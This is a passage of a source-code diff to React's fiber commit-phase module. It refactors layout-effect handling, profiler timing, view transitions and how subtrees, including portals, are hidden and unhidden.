-                'Instead, write the async function inside your effect ' +
-                'and call it immediately:\n\n' +
-                hookName +
-                '(() => {\n' +
-                '  async function fetchData() {\n' +
-                '    // You can await here\n' +
-                '    const response = await MyAPI.getData(someId);\n' +
-                '    // ...\n' +
-                '  }\n' +
-                '  fetchData();\n' +
-                `}, [someId]); // Or [] if effect doesn't need props or state\n\n` +
-                'Learn more about data fetching with Hooks: https://react.dev/link/hooks-data-fetching';
-            } else {
-              addendum = ' You returned: ' + destroy;
-            }
-            console.error(
-              '%s must not return anything besides a function, ' +
-                'which is used for clean-up.%s',
-              hookName,
-              addendum,
-            );
-          }
-        }
-      }
-      effect = effect.next;
-    } while (effect !== firstEffect);
-  }
-}
-
-function commitUseEffectEventMount(finishedWork: Fiber) {
-  const updateQueue: FunctionComponentUpdateQueue | null =
-    (finishedWork.updateQueue: any);
-  const eventPayloads = updateQueue !== null ? updateQueue.events : null;
-  if (eventPayloads !== null) {
-    for (let ii = 0; ii < eventPayloads.length; ii++) {
-      const {ref, nextImpl} = eventPayloads[ii];
-      ref.impl = nextImpl;
-    }
+  if (isViewTransitionEligible) {
+    commitExitViewTransitions(deletion);
   }
 }
 
-export function commitPassiveEffectDurations(
+function commitLayoutEffectOnFiber(
   finishedRoot: FiberRoot,
+  current: Fiber | null,
   finishedWork: Fiber,
+  committedLanes: Lanes,
 ): void {
-  if (
-    enableProfilerTimer &&
-    enableProfilerCommitHooks &&
-    getExecutionContext() & CommitContext
-  ) {
-    // Only Profilers with work in their subtree will have an Update effect scheduled.
-    if ((finishedWork.flags & Update) !== NoFlags) {
-      switch (finishedWork.tag) {
-        case Profiler: {
-          const {passiveEffectDuration} = finishedWork.stateNode;
-          const {id, onPostCommit} = finishedWork.memoizedProps;
-
-          // This value will still reflect the previous commit phase.
-          // It does not get reset until the start of the next commit phase.
-          const commitTime = getCommitTime();
-
-          let phase = finishedWork.alternate === null ? 'mount' : 'update';
-          if (enableProfilerNestedUpdatePhase) {
-            if (isCurrentUpdateNested()) {
-              phase = 'nested-update';
-            }
-          }
-
-          if (typeof onPostCommit === 'function') {
-            onPostCommit(id, phase, passiveEffectDuration, commitTime);
-          }
-
-          // Bubble times to the next nearest ancestor Profiler.
-          // After we process that Profiler, we'll bubble further up.
-          let parentFiber = finishedWork.return;
-          outer: while (parentFiber !== null) {
-            switch (parentFiber.tag) {
-              case HostRoot:
-                const root = parentFiber.stateNode;
-                root.passiveEffectDuration += passiveEffectDuration;
-                break outer;
-              case Profiler:
-                const parentStateNode = parentFiber.stateNode;
-                parentStateNode.passiveEffectDuration += passiveEffectDuration;
-                break outer;
-            }
-            parentFiber = parentFiber.return;
-          }
-          break;
-        }
-        default:
-          break;
+  const prevEffectStart = pushComponentEffectStart();
+  const prevEffectDuration = pushComponentEffectDuration();
+  const prevEffectErrors = pushComponentEffectErrors();
+  const prevEffectDidSpawnUpdate = pushComponentEffectDidSpawnUpdate();
+  // When updating this function, also update reappearLayoutEffects, which does
+  // most of the same things when an offscreen tree goes from hidden -> visible.
+  const flags = finishedWork.flags;
+  switch (finishedWork.tag) {
+    case FunctionComponent:
+    case ForwardRef:
+    case SimpleMemoComponent: {
+      recursivelyTraverseLayoutEffects(
+        finishedRoot,
+        finishedWork,
+        committedLanes,
+      );
+      if (flags & Update) {
+        commitHookLayoutEffects(finishedWork, HookLayout | HookHasEffect);
       }
+      break;
     }
-  }
-}
+    case ClassComponent: {
+      recursivelyTraverseLayoutEffects(
+        finishedRoot,
+        finishedWork,
+        committedLanes,
+      );
+      if (flags & Update) {
+        commitClassLayoutLifecycles(finishedWork, current);
+      }
 
-function commitHookLayoutEffects(finishedWork: Fiber, hookFlags: HookFlags) {
-  // At this point layout effects have already been destroyed (during mutation phase).
-  // This is done to prevent sibling component effects from interfering with each other,
-  // e.g. a destroy function in one component should never override a ref set
-  // by a create function in another component during the same commit.
-  if (shouldProfile(finishedWork)) {
-    try {
-      startLayoutEffectTimer();
-      commitHookEffectListMount(hookFlags, finishedWork);
-    } catch (error) {
-      captureCommitPhaseError(finishedWork, finishedWork.return, error);
-    }
-    recordLayoutEffectDuration(finishedWork);
-  } else {
-    try {
-      commitHookEffectListMount(hookFlags, finishedWork);
-    } catch (error) {
-      captureCommitPhaseError(finishedWork, finishedWork.return, error);
-    }
-  }
-}
+      if (flags & Callback) {
+        commitClassCallbacks(finishedWork);
+      }
 
-function commitClassLayoutLifecycles(
-  finishedWork: Fiber,
-  current: Fiber | null,
-) {
-  const instance = finishedWork.stateNode;
-  if (current === null) {
-    // We could update instance props and state here,
-    // but instead we rely on them being set during last render.
-    // TODO: revisit this when we implement resuming.
-    if (__DEV__) {
-      if (
-        !finishedWork.type.defaultProps &&
-        !('ref' in finishedWork.memoizedProps) &&
-        !didWarnAboutReassigningProps
-      ) {
-        if (instance.props !== finishedWork.memoizedProps) {
-          console.error(
-            'Expected %s props to match memoized props before ' +
-              'componentDidMount. ' +
-              'This might either be because of a bug in React, or because ' +
-              'a component reassigns its own `this.props`. ' +
-              'Please file an issue.',
-            getComponentNameFromFiber(finishedWork) || 'instance',
-          );
-        }
-        if (instance.state !== finishedWork.memoizedState) {
-          console.error(
-            'Expected %s state to match memoized state before ' +
-              'componentDidMount. ' +
-              'This might either be because of a bug in React, or because ' +
-              'a component reassigns its own `this.state`. ' +
-              'Please file an issue.',
-            getComponentNameFromFiber(finishedWork) || 'instance',
-          );
-        }
+      if (flags & Ref) {
+        safelyAttachRef(finishedWork, finishedWork.return);
       }
+      break;
     }
-    if (shouldProfile(finishedWork)) {
-      try {
-        startLayoutEffectTimer();
-        instance.componentDidMount();
-      } catch (error) {
-        captureCommitPhaseError(finishedWork, finishedWork.return, error);
+    case HostRoot: {
+      const prevProfilerEffectDuration = pushNestedEffectDurations();
+      recursivelyTraverseLayoutEffects(
+        finishedRoot,
+        finishedWork,
+        committedLanes,
+      );
+      if (flags & Callback) {
+        commitRootCallbacks(finishedWork);
       }
-      recordLayoutEffectDuration(finishedWork);
-    } else {
-      try {
-        instance.componentDidMount();
-      } catch (error) {
-        captureCommitPhaseError(finishedWork, finishedWork.return, error);
+      if (enableProfilerTimer && enableProfilerCommitHooks) {
+        finishedRoot.effectDuration += popNestedEffectDurations(
+          prevProfilerEffectDuration,
+        );
       }
+      break;
     }
-  } else {
-    const prevProps = resolveClassComponentProps(
-      finishedWork.type,
-      current.memoizedProps,
-      finishedWork.elementType === finishedWork.type,
-    );
-    const prevState = current.memoizedState;
-    // We could update instance props and state here,
-    // but instead we rely on them being set during last render.
-    // TODO: revisit this when we implement resuming.
-    if (__DEV__) {
-      if (
-        !finishedWork.type.defaultProps &&
-        !('ref' in finishedWork.memoizedProps) &&
-        !didWarnAboutReassigningProps
-      ) {
-        if (instance.props !== finishedWork.memoizedProps) {
-          console.error(
-            'Expected %s props to match memoized props before ' +
-              'componentDidUpdate. ' +
-              'This might either be because of a bug in React, or because ' +
-              'a component reassigns its own `this.props`. ' +
-              'Please file an issue.',
-            getComponentNameFromFiber(finishedWork) || 'instance',
-          );
+    case HostSingleton: {
+      if (supportsSingletons) {
+        // We acquire the singleton instance first so it has appropriate
+        // styles before other layout effects run. This isn't perfect because
+        // an early sibling of the singleton may have an effect that can
+        // observe the singleton before it is acquired.
+        // @TODO move this to the mutation phase. The reason it isn't there yet
+        // is it seemingly requires an extra traversal because we need to move the
+        // disappear effect into a phase before the appear phase
+        if (current === null && flags & Update) {
+          // Unlike in the reappear path we only acquire on new mount
+          commitHostSingletonAcquisition(finishedWork);
         }
-        if (instance.state !== finishedWork.memoizedState) {
-          console.error(
-            'Expected %s state to match memoized state before ' +
-              'componentDidUpdate. ' +
-              'This might either be because of a bug in React, or because ' +
-              'a component reassigns its own `this.state`. ' +
-              'Please file an issue.',
-            getComponentNameFromFiber(finishedWork) || 'instance',
-          );
-        }
-      }
-    }
-    if (shouldProfile(finishedWork)) {
-      try {
-        startLayoutEffectTimer();
-        instance.componentDidUpdate(
-          prevProps,
-          prevState,
-          instance.__reactInternalSnapshotBeforeUpdate,
-        );
-      } catch (error) {
-        captureCommitPhaseError(finishedWork, finishedWork.return, error);
-      }
-      recordLayoutEffectDuration(finishedWork);
-    } else {
-      try {
-        instance.componentDidUpdate(
-          prevProps,
-          prevState,
-          instance.__reactInternalSnapshotBeforeUpdate,
-        );
-      } catch (error) {
-        captureCommitPhaseError(finishedWork, finishedWork.return, error);
-      }
-    }
-  }
-}
-
-function commitClassCallbacks(finishedWork: Fiber) {
-  // TODO: I think this is now always non-null by the time it reaches the
-  // commit phase. Consider removing the type check.
-  const updateQueue: UpdateQueue<mixed> | null =
-    (finishedWork.updateQueue: any);
-  if (updateQueue !== null) {
-    const instance = finishedWork.stateNode;
-    if (__DEV__) {
-      if (
-        !finishedWork.type.defaultProps &&
-        !('ref' in finishedWork.memoizedProps) &&
-        !didWarnAboutReassigningProps
-      ) {
-        if (instance.props !== finishedWork.memoizedProps) {
-          console.error(
-            'Expected %s props to match memoized props before ' +
-              'processing the update queue. ' +
-              'This might either be because of a bug in React, or because ' +
-              'a component reassigns its own `this.props`. ' +
-              'Please file an issue.',
-            getComponentNameFromFiber(finishedWork) || 'instance',
-          );
-        }
-        if (instance.state !== finishedWork.memoizedState) {
-          console.error(
-            'Expected %s state to match memoized state before ' +
-              'processing the update queue. ' +
-              'This might either be because of a bug in React, or because ' +
-              'a component reassigns its own `this.state`. ' +
-              'Please file an issue.',
-            getComponentNameFromFiber(finishedWork) || 'instance',
-          );
-        }
-      }
-    }
-    // We could update instance props and state here,
-    // but instead we rely on them being set during last render.
-    // TODO: revisit this when we implement resuming.
-    try {
-      commitCallbacks(updateQueue, instance);
-    } catch (error) {
-      captureCommitPhaseError(finishedWork, finishedWork.return, error);
-    }
-  }
-}
-
-function commitHostComponentMount(finishedWork: Fiber) {
-  const type = finishedWork.type;
-  const props = finishedWork.memoizedProps;
-  const instance: Instance = finishedWork.stateNode;
-  try {
-    commitMount(instance, type, props, finishedWork);
-  } catch (error) {
-    captureCommitPhaseError(finishedWork, finishedWork.return, error);
-  }
-}
-
-function commitProfilerUpdate(finishedWork: Fiber, current: Fiber | null) {
-  if (enableProfilerTimer && getExecutionContext() & CommitContext) {
-    try {
-      const {onCommit, onRender} = finishedWork.memoizedProps;
-      const {effectDuration} = finishedWork.stateNode;
-
-      const commitTime = getCommitTime();
-
-      let phase = current === null ? 'mount' : 'update';
-      if (enableProfilerNestedUpdatePhase) {
-        if (isCurrentUpdateNested()) {
-          phase = 'nested-update';
-        }
-      }
-
-      if (typeof onRender === 'function') {
-        onRender(
-          finishedWork.memoizedProps.id,
-          phase,
-          finishedWork.actualDuration,
-          finishedWork.treeBaseDuration,
-          finishedWork.actualStartTime,
-          commitTime,
-        );
-      }
-
-      if (enableProfilerCommitHooks) {
-        if (typeof onCommit === 'function') {
-          onCommit(
-            finishedWork.memoizedProps.id,
-            phase,
-            effectDuration,
-            commitTime,
-          );
-        }
-
-        // Schedule a passive effect for this Profiler to call onPostCommit hooks.
-        // This effect should be scheduled even if there is no onPostCommit callback for this Profiler,
-        // because the effect is also where times bubble to parent Profilers.
-        enqueuePendingPassiveProfilerEffect(finishedWork);
-
-        // Propagate layout effect durations to the next nearest Profiler ancestor.
-        // Do not reset these values until the next render so DevTools has a chance to read them first.
-        let parentFiber = finishedWork.return;
-        outer: while (parentFiber !== null) {
-          switch (parentFiber.tag) {
-            case HostRoot:
-              const root = parentFiber.stateNode;
-              root.effectDuration += effectDuration;
-              break outer;
-            case Profiler:
-              const parentStateNode = parentFiber.stateNode;
-              parentStateNode.effectDuration += effectDuration;
-              break outer;
-          }
-          parentFiber = parentFiber.return;
-        }
-      }
-    } catch (error) {
-      captureCommitPhaseError(finishedWork, finishedWork.return, error);
-    }
-  }
-}
-
-function commitLayoutEffectOnFiber(
-  finishedRoot: FiberRoot,
-  current: Fiber | null,
-  finishedWork: Fiber,
-  committedLanes: Lanes,
-): void {
-  // When updating this function, also update reappearLayoutEffects, which does
-  // most of the same things when an offscreen tree goes from hidden -> visible.
-  const flags = finishedWork.flags;
-  switch (finishedWork.tag) {
-    case FunctionComponent:
-    case ForwardRef:
-    case SimpleMemoComponent: {
-      recursivelyTraverseLayoutEffects(
-        finishedRoot,
-        finishedWork,
-        committedLanes,
-      );
-      if (flags & Update) {
-        commitHookLayoutEffects(finishedWork, HookLayout | HookHasEffect);
+        // We fall through to the HostComponent case below.
       }
-      break;
+      // Fallthrough
     }
-    case ClassComponent: {
+    case HostHoistable:
+    case HostComponent: {
       recursivelyTraverseLayoutEffects(
         finishedRoot,
         finishedWork,
         committedLanes,
       );
-      if (flags & Update) {
-        commitClassLayoutLifecycles(finishedWork, current);
-      }
 
-      if (flags & Callback) {
-        commitClassCallbacks(finishedWork);
+      // Renderers may schedule work to be done after host components are mounted
+      // (eg DOM renderer may schedule auto-focus for inputs and form controls).
+      // These effects should only be committed when components are first mounted,
+      // aka when there is no current/alternate.
+      if (current === null) {
+        if (flags & Update) {
+          commitHostMount(finishedWork);
+        } else if (flags & Hydrate) {
+          commitHostHydratedInstance(finishedWork);
+        }
       }
 
       if (flags & Ref) {
@@ -1067,85 +693,51 @@ function commitLayoutEffectOnFiber(
       }
       break;
     }
-    case HostRoot: {
-      recursivelyTraverseLayoutEffects(
-        finishedRoot,
-        finishedWork,
-        committedLanes,
-      );
-      if (flags & Callback) {
-        // TODO: I think this is now always non-null by the time it reaches the
-        // commit phase. Consider removing the type check.
-        const updateQueue: UpdateQueue<mixed> | null =
-          (finishedWork.updateQueue: any);
-        if (updateQueue !== null) {
-          let instance = null;
-          if (finishedWork.child !== null) {
-            switch (finishedWork.child.tag) {
-              case HostSingleton:
-              case HostComponent:
-                instance = getPublicInstance(finishedWork.child.stateNode);
-                break;
-              case ClassComponent:
-                instance = finishedWork.child.stateNode;
-                break;
-            }
-          }
-          try {
-            commitCallbacks(updateQueue, instance);
-          } catch (error) {
-            captureCommitPhaseError(finishedWork, finishedWork.return, error);
-          }
-        }
-      }
-      break;
-    }
-    case HostHoistable: {
-      if (supportsResources) {
+    case Profiler: {
+      // TODO: Should this fire inside an offscreen tree? Or should it wait to
+      // fire when the tree becomes visible again.
+      if (flags & Update) {
+        const prevProfilerEffectDuration = pushNestedEffectDurations();
+
         recursivelyTraverseLayoutEffects(
           finishedRoot,
           finishedWork,
           committedLanes,
         );
 
-        if (flags & Ref) {
-          safelyAttachRef(finishedWork, finishedWork.return);
-        }
-        break;
-      }
-      // Fall through
-    }
-    case HostSingleton:
-    case HostComponent: {
-      recursivelyTraverseLayoutEffects(
-        finishedRoot,
-        finishedWork,
-        committedLanes,
-      );
+        const profilerInstance = finishedWork.stateNode;
 
-      // Renderers may schedule work to be done after host components are mounted
-      // (eg DOM renderer may schedule auto-focus for inputs and form controls).
-      // These effects should only be committed when components are first mounted,
-      // aka when there is no current/alternate.
-      if (current === null && flags & Update) {
-        commitHostComponentMount(finishedWork);
-      }
+        if (enableProfilerTimer && enableProfilerCommitHooks) {
+          // Propagate layout effect durations to the next nearest Profiler ancestor.
+          // Do not reset these values until the next render so DevTools has a chance to read them first.
+          profilerInstance.effectDuration += bubbleNestedEffectDurations(
+            prevProfilerEffectDuration,
+          );
+        }
 
-      if (flags & Ref) {
-        safelyAttachRef(finishedWork, finishedWork.return);
+        commitProfilerUpdate(
+          finishedWork,
+          current,
+          commitStartTime,
+          profilerInstance.effectDuration,
+        );
+      } else {
+        recursivelyTraverseLayoutEffects(
+          finishedRoot,
+          finishedWork,
+          committedLanes,
+        );
       }
       break;
     }
-    case Profiler: {
+    case ActivityComponent: {
       recursivelyTraverseLayoutEffects(
         finishedRoot,
         finishedWork,
         committedLanes,
       );
-      // TODO: Should this fire inside an offscreen tree? Or should it wait to
-      // fire when the tree becomes visible again.
       if (flags & Update) {
-        commitProfilerUpdate(finishedWork, current);
+        commitActivityHydrationCallbacks(finishedRoot, finishedWork);
       }
       break;
     }
@@ -1158,6 +750,23 @@ function commitLayoutEffectOnFiber(
       if (flags & Update) {
         commitSuspenseHydrationCallbacks(finishedRoot, finishedWork);
       }
+      if (flags & Callback) {
+        // This Boundary is in fallback and has a dehydrated Suspense instance.
+        // We could in theory assume the dehydrated state but we recheck it for
+        // certainty.
+        const finishedState: SuspenseState | null = finishedWork.memoizedState;
+        if (finishedState !== null) {
+          const dehydrated = finishedState.dehydrated;
+          if (dehydrated !== null) {
+            // Register a callback to retry this boundary once the server has sent the result.
+            const retry = retryDehydratedSuspenseBoundary.bind(
+              null,
+              finishedWork,
+            );
+            registerSuspenseInstanceRetry(dehydrated, retry);
+          }
+        }
+      }
       break;
     }
     case OffscreenComponent: {
@@ -1192,6 +801,21 @@ function commitLayoutEffectOnFiber(
               finishedWork,
               includeWorkInProgressEffects,
             );
+            if (
+              enableProfilerTimer &&
+              enableProfilerCommitHooks &&
+              enableComponentPerformanceTrack &&
+              (finishedWork.mode & ProfileMode) !== NoMode &&
+              componentEffectStartTime >= 0 &&
+              componentEffectEndTime >= 0 &&
+              componentEffectEndTime - componentEffectStartTime > 0.05
+            ) {
+              logComponentReappeared(
+                finishedWork,
+                componentEffectStartTime,
+                componentEffectEndTime,
+              );
+            }
           } else {
             recursivelyTraverseLayoutEffects(
               finishedRoot,
@@ -1209,16 +833,34 @@ function commitLayoutEffectOnFiber(
           committedLanes,
         );
       }
-      if (flags & Ref) {
-        const props: OffscreenProps = finishedWork.memoizedProps;
-        if (props.mode === 'manual') {
+      break;
+    }
+    case ViewTransitionComponent: {
+      if (enableViewTransition) {
+        if (__DEV__) {
+          if (flags & ViewTransitionNamedStatic) {
+            trackNamedViewTransition(finishedWork);
+          }
+        }
+        recursivelyTraverseLayoutEffects(
+          finishedRoot,
+          finishedWork,
+          committedLanes,
+        );
+        if (flags & Ref) {
           safelyAttachRef(finishedWork, finishedWork.return);
-        } else {
-          safelyDetachRef(finishedWork, finishedWork.return);
         }
+        break;
       }
       break;
     }
+    case Fragment:
+      if (enableFragmentRefs) {
+        if (flags & Ref) {
+          safelyAttachRef(finishedWork, finishedWork.return);
+        }
+      }
+    // Fallthrough
     default: {
       recursivelyTraverseLayoutEffects(
         finishedRoot,
@@ -1228,6 +870,49 @@ function commitLayoutEffectOnFiber(
       break;
     }
   }
+
+  if (
+    enableProfilerTimer &&
+    enableProfilerCommitHooks &&
+    enableComponentPerformanceTrack &&
+    (finishedWork.mode & ProfileMode) !== NoMode &&
+    componentEffectStartTime >= 0 &&
+    componentEffectEndTime >= 0
+  ) {
+    if (componentEffectSpawnedUpdate || componentEffectDuration > 0.05) {
+      logComponentEffect(
+        finishedWork,
+        componentEffectStartTime,
+        componentEffectEndTime,
+        componentEffectDuration,
+        componentEffectErrors,
+      );
+    }
+    if (
+      // Insertion
+      finishedWork.alternate === null &&
+      finishedWork.return !== null &&
+      finishedWork.return.alternate !== null &&
+      componentEffectEndTime - componentEffectStartTime > 0.05
+    ) {
+      const isHydration = isHydratingParent(
+        finishedWork.return.alternate,
+        finishedWork.return,
+      );
+      if (!isHydration) {
+        logComponentMount(
+          finishedWork,
+          componentEffectStartTime,
+          componentEffectEndTime,
+        );
+      }
+    }
+  }
+
+  popComponentEffectStart(prevEffectStart);
+  popComponentEffectDuration(prevEffectDuration);
+  popComponentEffectErrors(prevEffectErrors);
+  popComponentEffectDidSpawnUpdate(prevEffectDidSpawnUpdate);
 }
 
 function abortRootTransitions(
@@ -1399,9 +1084,9 @@ function commitTransitionProgress(offscreenFiber: Fiber) {
     if (
       parent !== null &&
       parent.tag === SuspenseComponent &&
-      parent.memoizedProps.unstable_name
+      parent.memoizedProps.name
     ) {
-      name = parent.memoizedProps.unstable_name;
+      name = parent.memoizedProps.name;
     }
 
     if (!wasHidden && isHidden) {
@@ -1495,131 +1180,104 @@ function commitTransitionProgress(offscreenFiber: Fiber) {
   }
 }
 
-function hideOrUnhideAllChildren(finishedWork: Fiber, isHidden: boolean) {
-  // Only hide or unhide the top-most host nodes.
-  let hostSubtreeRoot = null;
+function hideOrUnhideAllChildren(parentFiber: Fiber, isHidden: boolean) {
+  if (!supportsMutation) {
+    return;
+  }
+  // Finds the nearest host component children and updates their visibility
+  // to either hidden or visible.
+  let child = parentFiber.child;
+  while (child !== null) {
+    hideOrUnhideAllChildrenOnFiber(child, isHidden);
+    child = child.sibling;
+  }
+}
 
-  if (supportsMutation) {
-    // We only have the top Fiber that was inserted but we need to recurse down its
-    // children to find all the terminal nodes.
-    let node: Fiber = finishedWork;
-    while (true) {
-      if (
-        node.tag === HostComponent ||
-        (supportsResources ? node.tag === HostHoistable : false) ||
-        (supportsSingletons ? node.tag === HostSingleton : false)
-      ) {
-        if (hostSubtreeRoot === null) {
-          hostSubtreeRoot = node;
-          try {
-            const instance = node.stateNode;
-            if (isHidden) {
-              hideInstance(instance);
-            } else {
-              unhideInstance(node.stateNode, node.memoizedProps);
-            }
-          } catch (error) {
-            captureCommitPhaseError(finishedWork, finishedWork.return, error);
-          }
-        }
-      } else if (node.tag === HostText) {
-        if (hostSubtreeRoot === null) {
-          try {
-            const instance = node.stateNode;
-            if (isHidden) {
-              hideTextInstance(instance);
-            } else {
-              unhideTextInstance(instance, node.memoizedProps);
-            }
-          } catch (error) {
-            captureCommitPhaseError(finishedWork, finishedWork.return, error);
-          }
-        }
-      } else if (
-        (node.tag === OffscreenComponent ||
-          node.tag === LegacyHiddenComponent) &&
-        (node.memoizedState: OffscreenState) !== null &&
-        node !== finishedWork
-      ) {
+function hideOrUnhideAllChildrenOnFiber(fiber: Fiber, isHidden: boolean) {
+  if (!supportsMutation) {
+    return;
+  }
+  switch (fiber.tag) {
+    case HostComponent:
+    case HostHoistable: {
+      // Found the nearest host component. Hide it.
+      commitShowHideHostInstance(fiber, isHidden);
+      // Typically, only the nearest host nodes need to be hidden, since that
+      // has the effect of also hiding everything inside of them.
+      //
+      // However, there's a special case for portals, because portals do not
+      // exist in the regular host tree hierarchy; we can't assume that just
+      // because a portal's HostComponent parent in the React tree will also be
+      // a parent in the actual host tree.
+      //
+      // So, if any portals exist within the tree, regardless of how deeply
+      // nested they are, we need to repeat this algorithm for its children.
+      hideOrUnhideNearestPortals(fiber, isHidden);
+      return;
+    }
+    case HostText: {
+      commitShowHideHostTextInstance(fiber, isHidden);
+      return;
+    }
+    case DehydratedFragment: {
+      commitShowHideSuspenseBoundary(fiber, isHidden);
+      return;
+    }
+    case OffscreenComponent:
+    case LegacyHiddenComponent: {
+      const offscreenState: OffscreenState | null = fiber.memoizedState;
+      if (offscreenState !== null) {
         // Found a nested Offscreen component that is hidden.
         // Don't search any deeper. This tree should remain hidden.
-      } else if (node.child !== null) {
-        node.child.return = node;
-        node = node.child;
-        continue;
-      }
-
-      if (node === finishedWork) {
-        return;
-      }
-      while (node.sibling === null) {
-        if (node.return === null || node.return === finishedWork) {
-          return;
-        }
-
-        if (hostSubtreeRoot === node) {
-          hostSubtreeRoot = null;
-        }
-
-        node = node.return;
-      }
-
-      if (hostSubtreeRoot === node) {
-        hostSubtreeRoot = null;
+      } else {
+        hideOrUnhideAllChildren(fiber, isHidden);
       }
-
-      node.sibling.return = node.return;
-      node = node.sibling;
+      return;
+    }
+    default: {
+      hideOrUnhideAllChildren(fiber, isHidden);
+      return;
     }
   }
 }
 
-function commitAttachRef(finishedWork: Fiber) {
-  const ref = finishedWork.ref;
-  if (ref !== null) {
-    const instance = finishedWork.stateNode;
-    let instanceToUse;
-    switch (finishedWork.tag) {
-      case HostHoistable:
-      case HostSingleton:
-      case HostComponent:
-        instanceToUse = getPublicInstance(instance);
-        break;
-      default:
-        instanceToUse = instance;
-    }
-    // Moved outside to ensure DCE works with this flag
-    if (enableScopeAPI && finishedWork.tag === ScopeComponent) {
-      instanceToUse = instance;
-    }
-    if (typeof ref === 'function') {
-      if (shouldProfile(finishedWork)) {
-        try {
-          startLayoutEffectTimer();
-          finishedWork.refCleanup = ref(instanceToUse);
-        } finally {
-          recordLayoutEffectDuration(finishedWork);
-        }
+function hideOrUnhideNearestPortals(parentFiber: Fiber, isHidden: boolean) {
+  if (!supportsMutation) {
+    return;
+  }
+  if (parentFiber.subtreeFlags & PortalStatic) {
+    let child = parentFiber.child;
+    while (child !== null) {
+      hideOrUnhideNearestPortalsOnFiber(child, isHidden);
+      child = child.sibling;
+    }
+  }
+}
+
+function hideOrUnhideNearestPortalsOnFiber(fiber: Fiber, isHidden: boolean) {
+  if (!supportsMutation) {
+    return;
+  }
+  switch (fiber.tag) {
+    case HostPortal: {
+      // Found a portal. Switch back to the normal hide/unhide algorithm to
+      // toggle the visibility of its children.
+      hideOrUnhideAllChildrenOnFiber(fiber, isHidden);
+      return;
+    }
+    case OffscreenComponent: {
+      const offscreenState: OffscreenState | null = fiber.memoizedState;
+      if (offscreenState !== null) {
+        // Found a nested Offscreen component that is hidden. Don't search any
+        // deeper. This tree should remain hidden.
       } else {
-        finishedWork.refCleanup = ref(instanceToUse);
-      }
-    } else {
-      if (__DEV__) {
-        // TODO: We should move these warnings to happen during the render
-        // phase (markRef).
-        if (disableStringRefs && typeof ref === 'string') {
-          console.error('String refs are no longer supported.');
-        } else if (!ref.hasOwnProperty('current')) {
-          console.error(
-            'Unexpected ref object provided for %s. ' +
-              'Use either a ref-setter function or React.createRef().',
-            getComponentNameFromFiber(finishedWork),
-          );
-        }
+        hideOrUnhideNearestPortals(fiber, isHidden);
       }
-
-      // $FlowFixMe[incompatible-use] unable to narrow type to the non-function case
-      ref.current = instanceToUse;
+      return;
+    }
+    default: {
+      hideOrUnhideNearestPortals(fiber, isHidden);
+      return;
     }
   }
 }
@@ -1694,222 +1352,6 @@ function detachFiberAfterEffects(fiber: Fiber) {
   fiber.updateQueue = null;
 }
 
-function emptyPortalContainer(current: Fiber) {
-  if (!supportsPersistence) {
-    return;
-  }
-
-  const portal: {
-    containerInfo: Container,
-    pendingChildren: ChildSet,
-    ...
-  } = current.stateNode;
-  const {containerInfo} = portal;
-  const emptyChildSet = createContainerChildSet();
-  replaceContainerChildren(containerInfo, emptyChildSet);
-}
-
-function getHostParentFiber(fiber: Fiber): Fiber {
-  let parent = fiber.return;
-  while (parent !== null) {
-    if (isHostParent(parent)) {
-      return parent;
-    }
-    parent = parent.return;
-  }
-
-  throw new Error(
-    'Expected to find a host parent. This error is likely caused by a bug ' +
-      'in React. Please file an issue.',
-  );
-}
-
-function isHostParent(fiber: Fiber): boolean {
-  return (
-    fiber.tag === HostComponent ||
-    fiber.tag === HostRoot ||
-    (supportsResources ? fiber.tag === HostHoistable : false) ||
-    (supportsSingletons ? fiber.tag === HostSingleton : false) ||
-    fiber.tag === HostPortal
-  );
-}
-
-function getHostSibling(fiber: Fiber): ?Instance {
-  // We're going to search forward into the tree until we find a sibling host
-  // node. Unfortunately, if multiple insertions are done in a row we have to
-  // search past them. This leads to exponential search for the next sibling.
-  // TODO: Find a more efficient way to do this.
-  let node: Fiber = fiber;
-  siblings: while (true) {
-    // If we didn't find anything, let's try the next sibling.
-    while (node.sibling === null) {
-      if (node.return === null || isHostParent(node.return)) {
-        // If we pop out of the root or hit the parent the fiber we are the
-        // last sibling.
-        return null;
-      }
-      // $FlowFixMe[incompatible-type] found when upgrading Flow
-      node = node.return;
-    }
-    node.sibling.return = node.return;
-    node = node.sibling;
-    while (
-      node.tag !== HostComponent &&
-      node.tag !== HostText &&
-      (!supportsSingletons ? true : node.tag !== HostSingleton) &&
-      node.tag !== DehydratedFragment
-    ) {
-      // If it is not host node and, we might have a host node inside it.
-      // Try to search down until we find one.
-      if (node.flags & Placement) {
-        // If we don't have a child, try the siblings instead.
-        continue siblings;
-      }
-      // If we don't have a child, try the siblings instead.
-      // We also skip portals because they are not part of this host tree.
-      if (node.child === null || node.tag === HostPortal) {
-        continue siblings;
-      } else {
-        node.child.return = node;
-        node = node.child;
-      }
-    }
-    // Check if this host node is stable or about to be placed.
-    if (!(node.flags & Placement)) {
-      // Found it!
-      return node.stateNode;
-    }
-  }
-}
-
-function commitPlacement(finishedWork: Fiber): void {
-  if (!supportsMutation) {
-    return;
-  }
-
-  if (supportsSingletons) {
-    if (finishedWork.tag === HostSingleton) {
-      // Singletons are already in the Host and don't need to be placed
-      // Since they operate somewhat like Portals though their children will
-      // have Placement and will get placed inside them
-      return;
-    }
-  }
-  // Recursively insert all host nodes into the parent.
-  const parentFiber = getHostParentFiber(finishedWork);
-
-  switch (parentFiber.tag) {
-    case HostSingleton: {
-      if (supportsSingletons) {
-        const parent: Instance = parentFiber.stateNode;
-        const before = getHostSibling(finishedWork);
-        // We only have the top Fiber that was inserted but we need to recurse down its
-        // children to find all the terminal nodes.
-        insertOrAppendPlacementNode(finishedWork, before, parent);
-        break;
-      }
-      // Fall through
-    }
-    case HostComponent: {
-      const parent: Instance = parentFiber.stateNode;
-      if (parentFiber.flags & ContentReset) {
-        // Reset the text content of the parent before doing any insertions
-        resetTextContent(parent);
-        // Clear ContentReset from the effect tag
-        parentFiber.flags &= ~ContentReset;
-      }
-
-      const before = getHostSibling(finishedWork);
-      // We only have the top Fiber that was inserted but we need to recurse down its
-      // children to find all the terminal nodes.
-      insertOrAppendPlacementNode(finishedWork, before, parent);
-      break;
-    }
-    case HostRoot:
-    case HostPortal: {
-      const parent: Container = parentFiber.stateNode.containerInfo;
-      const before = getHostSibling(finishedWork);
-      insertOrAppendPlacementNodeIntoContainer(finishedWork, before, parent);
-      break;
-    }
-    default:
-      throw new Error(
-        'Invalid host parent fiber. This error is likely caused by a bug ' +
-          'in React. Please file an issue.',
-      );
-  }
-}
-
-function insertOrAppendPlacementNodeIntoContainer(
-  node: Fiber,
-  before: ?Instance,
-  parent: Container,
-): void {
-  const {tag} = node;
-  const isHost = tag === HostComponent || tag === HostText;
-  if (isHost) {
